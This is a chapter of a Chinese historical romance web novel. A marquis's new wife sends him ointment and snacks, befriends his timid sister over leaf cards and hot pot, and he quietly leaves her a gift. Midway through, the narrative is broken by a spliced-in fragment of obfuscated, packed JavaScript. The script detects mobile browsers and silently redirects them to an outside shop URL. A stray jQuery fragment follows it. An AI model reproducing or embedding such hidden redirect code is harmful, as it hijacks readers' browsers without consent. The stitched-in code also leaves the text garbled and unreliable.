盛安清刚进院子,玉琴便热情地迎了上来,脆生生地喊道:“夫人,您回来啦!”
“嗯,回来了。”见她这副眼巴巴的模样,盛安清忍不住笑了下,侧头吩咐芷兰,“点心送一份去西院给婉婉,剩下的玉琴你们几个分了吧。”
“谢谢夫人!”玉琴眼睛发亮。
盛安清正要进屋,忽然想起什么,又停下脚步,回头朝拂霜招了招手:“拂霜,去府医那儿问问,有没有活血化瘀的药膏,取一瓶送到侯爷那儿去。”
拂霜应声去了,盛安清这才进了屋。
前院这边,凌淮正拎着那只点心匣子往里走,陆明眼尖,凑上来好奇问道:“侯爷,您拿的这是什么?”
凌淮拎着点心在他眼前晃了两下。
“点心?”陆明认出这是点心铺子的包装。
凌淮淡淡“嗯”了一声,便进了房间。
陆明在后头嘀咕了一句:“侯爷不是不爱吃甜食吗?”
凌淮将点心放在桌上,换下衣服去梳洗,洗漱完回屋时,陆明突然兴冲冲地跑过来:“侯爷,您这点心是夫人买的啊!”
凌淮眉梢微挑:“你怎么知道?”
陆明嘿嘿一笑,双手递出一个小瓶子:“这是夫人刚刚让人送过来的,活血散瘀的药膏,夫人说了,让您先热敷再上药,好得快。”
凌淮目光在药膏上顿了顿,接过来,淡淡道:“知道了,你出去吧。”
“不行!夫人交代了,让我盯着您按时上药!”陆明朝外头招了下手,小厮立马端着一盆热水进来。
其实拂霜来送药的时候并没有说这话,但陆明觉得他必须盯着侯爷好好上药,才能不辜负夫人的一番心意!
凌淮瞟了他一眼,陆明理直气壮地站在那里,一副“你不涂我就不走”的样子。
凌淮无奈轻叹了口气,坐下来,伸手:“帕子给我吧。”
陆明递上拧干的热帕子,凌淮接过,敷在脸上,热意透过帕子渗进皮肤,淤青处的胀痛微微舒缓了些。他换了两道帕子,才拧开药瓶,沾了些许药,轻轻涂在伤处。药膏带着清凉的草木气息,凉丝丝的。
陆明站在一旁,目不转睛地盯着他涂完,这才心满意足地退出去。可走到门口,他忍不住又扒着门框往里头瞧,只见凌淮将药瓶放在木匣子里收好,拎着点心去了书房。
陆明转过身双手环胸倚在门上,露出一个微笑。
这几天侯爷和夫人各过各的,井水不犯河水,仿佛没成婚一样,他看着可着急了。今日夫人主动关心侯爷了,又是点心又是药的,说不定过不了多久,侯爷就该搬到东院住了。
盛安清自然不知道她让拂霜送个药会引起陆明这么多遐想,她回书房写了会儿字,便早早睡下了。
这一觉睡得沉,再睁眼时,天光已经大亮。盛安清心满意足地伸了个懒腰,翻身坐起,只觉得神清气爽。
用过早饭之后,盛安清把芷兰折柳几个丫鬟叫到院子里,翻出一副昨日买的叶子牌,笑着招呼:“来来来,陪我玩几局。”
几个丫鬟起先还放不开,你推我让的,谁也不敢赢主子的牌。几局过后,见盛安清玩的随意,输了也不恼,还笑的比谁都开心,众人的拘谨便慢慢散了,院子里笑声一声接一声。
正热闹间,在一旁的折柳在盛安清耳边低声说了一句话,她站起身来,让折柳顶替她的位置继续玩。
凌婉站在东院门口,听着里头的笑声,脚步踌躇不前。
她现在进去会不会打扰到嫂嫂?凌婉揪着袖子,低着头忐忑不安地原地徘徊,犹豫着想要离开。
“婉婉。”
凌婉闻声茫然抬头,脸颊泛了一层薄红,嘴唇动了动,却没说出话来。盛安清上前一步,自然地牵起她的手:“进来坐。”
她的手温软而坚定,带着不容拒绝的暖意,凌婉被她牵着进了院子。
进了屋,盛安清让她在桌边坐下,才温声开口:“婉婉来找我,是有事么?”
凌婉抿了抿唇,小心翼翼地从袖中拿出叠好的手帕递给她,怯生生道:“嫂嫂,这是我自己绣的帕子,送给你,谢谢你昨日给我带点心。”
盛安清接过来展开,帕子是月白色的素绸,上面绣着一朵精致的牡丹,针脚细密,角落里还有一个“清”字,这不是一个晚上能绣完的。盛安清心里微微一动,含笑看向凌婉:“绣得真好,谢谢婉婉,我很喜欢。”
凌婉听了这话,一直紧绷的肩膀终于悄悄松了下来,嘴角浮起一点浅浅的笑意。
嫂嫂敬茶那日送了她一支很漂亮的玉簪,她惦记着要给嫂嫂回礼,手帕前两天就绣好了,只是她一直不好意思送过来。
盛安清说道:“婉婉留下来玩会儿吧,等会和我一道用午膳。”
凌婉连忙摆手推辞:“不了,嫂嫂我……”
“走吧,一起玩叶子牌!”盛安清牵着她到院子里,让两个丫鬟起来,她和凌婉坐下。
凌婉手足无措,小声道:“嫂嫂,我……我不会。”
“没事,我教你,很简单的。”盛安清起身走到她身后,俯下身,手指点着牌面,一句一句教她规矩。她的声音不急不缓,带着耐心和笑意。
凌婉起初还有些紧张,听了几句便渐渐入了神。
几局过后,盛安清看凌婉已经会打了,也不再那么小心翼翼,便悄悄退开,让她自己玩,自己则转身去了小厨房。
“夫人,您午膳要吃些什么?”厨娘见盛安清过来,连忙放下手中活计。
“吃暖锅,但菜不用煮,清洗切好后直接端出去。”时下的暖锅是在把食材煮至七八分熟后放在锅里保温焖熟,她想借此机会和凌婉多聊一会儿,吃火锅更合适。
“再做两杯奶茶。”盛安清前几日让小厨房尝试做了奶茶,味道还不错。
她想了想,又和厨娘说了布丁的方子,让她们试着做一下。没有烤箱,隔水蒸应该也可以。
到了午膳时间,餐桌满满地摆着处理好的鲜蔬肉片,中间放着一只热腾腾的暖锅。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766762|209727||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>凌婉看着桌上的食物,有些惊讶地眨了眨眼睛:“嫂嫂,这是……暖锅?”
“嗯,想吃什么自己涮。”盛安清推着她坐下。
盛安清也坐下,夹起一片薄薄的羊肉片放进锅里,烫了半分钟,捞出来放入料碟碗里蘸了蘸,送进嘴里:“嘶——好烫!好吃!婉婉你也尝尝!”
凌婉抿嘴笑了一下,拿起筷子学着盛安清的样子也试了一下,鲜嫩的肉片裹着咸香的酱汁在舌尖化开,她眼睛微微一亮。
“小心烫。”盛安清看着凌婉,“怎么样,好吃吗?”
凌婉轻轻点头:“好吃。”
“你再试试这个。”盛安清把放凉的奶茶和布丁递过去。
凌婉捧起茶杯,抿了一口,怔了怔,忍不住又喝了一口,眼睛都亮了起来:“好喝!”
接着,她用勺子舀了一勺布丁放进嘴里,香甜柔滑的口感,入口即化,她从未吃过这样的点心。凌婉看向盛安清,好奇地问道:“嫂嫂,这个是什么?好好吃啊!”
“这个是奶茶,这个是……”盛安清看着布丁,想了想,“这个就叫蒸酥酪吧。我把方子交给大厨房,你想吃的时候,让他们给你做。”
凌婉有些脸红,轻轻点头道:“谢谢嫂嫂。”
屋子里二人吃得其乐融融,笑语不断。
而另一边,今日休沐在家的凌淮独自用完午膳,正要去书房办公。
陆明却忽然拦住他,表情严肃:“侯爷,您是不是忘了什么事?”
凌淮停下脚步:“何事?”
他早上已经在陆明的监督下涂过药了。
陆明恨铁不成钢地叹了口气:“夫人给您送了点心和药,您是不是应该准备一份回礼?”
送礼这种事,你来我往的,两个人自然就慢慢熟悉了。
凌淮沉默片刻,说道:“你去库房里挑些首饰送过去。”
陆明实在有些无奈:“侯爷,回礼哪能这么随便!当然要您亲自挑选、亲自送过去才显得有诚意啊!”
凌淮看了他一眼,没有反驳。他沉吟片刻,转身去了库房,在里面站了好一会,挑了一只白玉簪,一对赤金缠丝镯子,用锦盒装好了,才往东院走。
可他踏入东院时,脚步却忽然顿住了,他隐约听到屋子里传来婉婉的声音。
守在外头的芷兰和玉琴看见他,正要出声行礼,他抬手示意噤声。
“婉婉在这里?”凌淮低声问。
芷兰也轻声答道:“是,小姐一早就过来了,陪着夫人玩了好一阵叶子牌,这会儿正在屋里用膳。”
凌淮没有再问,他目光看着屋子,仿佛能透过门窗看见里面的身影。
他多久没听见婉婉这样轻松欢快的声音了?
凌淮在原地站了许久,久到芷兰和玉琴都有些忐忑不安起来。
最后他收回目光,将手中的锦盒递给芷兰,声音压得很低:“这个,待婉婉离开后,再交给夫人。”
说完,他又看了一眼屋子,才转身离开。